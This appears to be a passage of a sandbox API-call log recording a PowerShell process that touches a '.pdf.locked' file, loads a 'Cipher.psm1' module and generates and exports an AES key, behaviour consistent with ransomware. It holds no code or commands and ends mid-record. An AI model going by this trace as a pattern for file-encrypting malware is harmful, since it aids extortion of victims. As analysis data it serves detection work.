EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.370] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.370] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.370] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.370] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.372] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.373] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.373] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.373] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.376] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.376] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.376] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.376] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.378] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.378] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.378] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.378] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.378] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.380] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0126.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf.locked"), fInfoLevelId=0x0, lpFileInformation=0x6951eac | out: lpFileInformation=0x6951eac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe897583, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xe897583, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xe897583, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x1d04)) returned 1 [0126.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0126.383] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", lpFilePart=0x0) returned 0x5e [0126.383] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0126.383] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0126.383] CloseHandle (hObject=0x874) returned 1 [0126.385] GetConsoleOutputCP () returned 0x1b5 [0126.386] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.386] GetConsoleOutputCP () returned 0x1b5 [0126.386] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.386] GetConsoleOutputCP () returned 0x1b5 [0126.387] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.387] GetConsoleOutputCP () returned 0x1b5 [0126.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.388] GetConsoleOutputCP () returned 0x1b5 [0126.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.388] GetConsoleOutputCP () returned 0x1b5 [0126.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.388] GetConsoleOutputCP () returned 0x1b5 [0126.388] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.388] GetConsoleOutputCP () returned 0x1b5 [0126.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.389] GetConsoleOutputCP () returned 0x1b5 [0126.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.389] GetConsoleOutputCP () returned 0x1b5 [0126.389] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.389] GetConsoleOutputCP () returned 0x1b5 [0126.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.390] GetConsoleOutputCP () returned 0x1b5 [0126.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.390] GetConsoleOutputCP () returned 0x1b5 [0126.390] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.390] GetConsoleOutputCP () returned 0x1b5 [0126.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.391] GetConsoleOutputCP () returned 0x1b5 [0126.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.391] GetConsoleOutputCP () returned 0x1b5 [0126.391] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.391] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0126.392] GetConsoleOutputCP () returned 0x1b5 [0126.392] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0126.392] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.392] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6979a38*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6979a38*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0126.393] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.393] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0126.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.394] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.394] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xdf00\x676\x40\x677\xdd7c\x68e\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x1000\x666\xe860\x676\xdd7c\x68e\x500") returned 0x0 [0126.394] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.394] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.394] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.394] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.395] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0126.395] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.395] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.395] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.395] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.396] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e022d8) returned 1 [0126.397] CryptGenKey (in: hProv=0x8e022d8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84bf8) returned 1 [0126.397] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.397] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.397] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x698363c, pdwDataLen=0x99ae788 | out: pbData=0x698363c*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.397] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.397] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.397] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.397] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.398] SysStringLen (param_1="") returned 0x8 [0126.398] SysStringLen (param_1="g") returned 0x8 [0126.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.398] SysStringLen (param_1="\xca81\x8b88\xb442\x800f\xea7e\xe9a\xa035\x3c02") returned 0x8 [0126.398] SysStringLen (param_1="\xca81\x8b88\xb442\x800f\xea7e\xe9a\xa035\x3c02") returned 0x8 [0126.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.398] SysStringLen (param_1="gn") returned 0x8 [0126.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.398] SysStringLen (param_1="\x7540\x6ef9\x1115\xbcff\x8088\x418f\xe1a1\xc364") returned 0x8 [0126.398] SysStringLen (param_1="\x7540\x6ef9\x1115\xbcff\x8088\x418f\xe1a1\xc364") returned 0x8 [0126.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.398] SysStringLen (param_1="gnb") returned 0x8 [0126.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.398] SysStringLen (param_1="\x4a66\x79c1\x4aef\x27f9\x3d80\x3e16\x8ede\x3fa5") returned 0x8 [0126.398] SysStringLen (param_1="\x4a66\x79c1\x4aef\x27f9\x3d80\x3e16\x8ede\x3fa5") returned 0x8 [0126.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="gnbg") returned 0x8 [0126.399] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="\xd9ff\x4c54\x2f60\x14d9\xcb13\x8f6b\x9796\xf99b") returned 0x8 [0126.399] SysStringLen (param_1="\xd9ff\x4c54\x2f60\x14d9\xcb13\x8f6b\x9796\xf99b") returned 0x8 [0126.399] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="gnbgM") returned 0x8 [0126.399] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="\xba74\xc4d9\xaf39\xe7b1\x2b0e\x3fd8\x968c\xe983") returned 0x8 [0126.399] SysStringLen (param_1="\xba74\xc4d9\xaf39\xe7b1\x2b0e\x3fd8\x968c\xe983") returned 0x8 [0126.399] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="gnbgMd") returned 0x8 [0126.399] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="\x3e49\x4885\xae70\x8d18\x379f\x4723\xf914\x6e4b") returned 0x8 [0126.399] SysStringLen (param_1="\x3e49\x4885\xae70\x8d18\x379f\x4723\xf914\x6e4b") returned 0x8 [0126.399] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="gnbgMdQ") returned 0x8 [0126.399] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.399] SysStringLen (param_1="\x5cda\x364e\x7d7a\xb876\xe58c\x8029\x8de3\xf957") returned 0x8 [0126.400] SysStringLen (param_1="\x5cda\x364e\x7d7a\xb876\xe58c\x8029\x8de3\xf957") returned 0x8 [0126.400] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.400] SysStringLen (param_1="gnbgMdQf") returned 0x8 [0126.400] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.400] SysStringLen 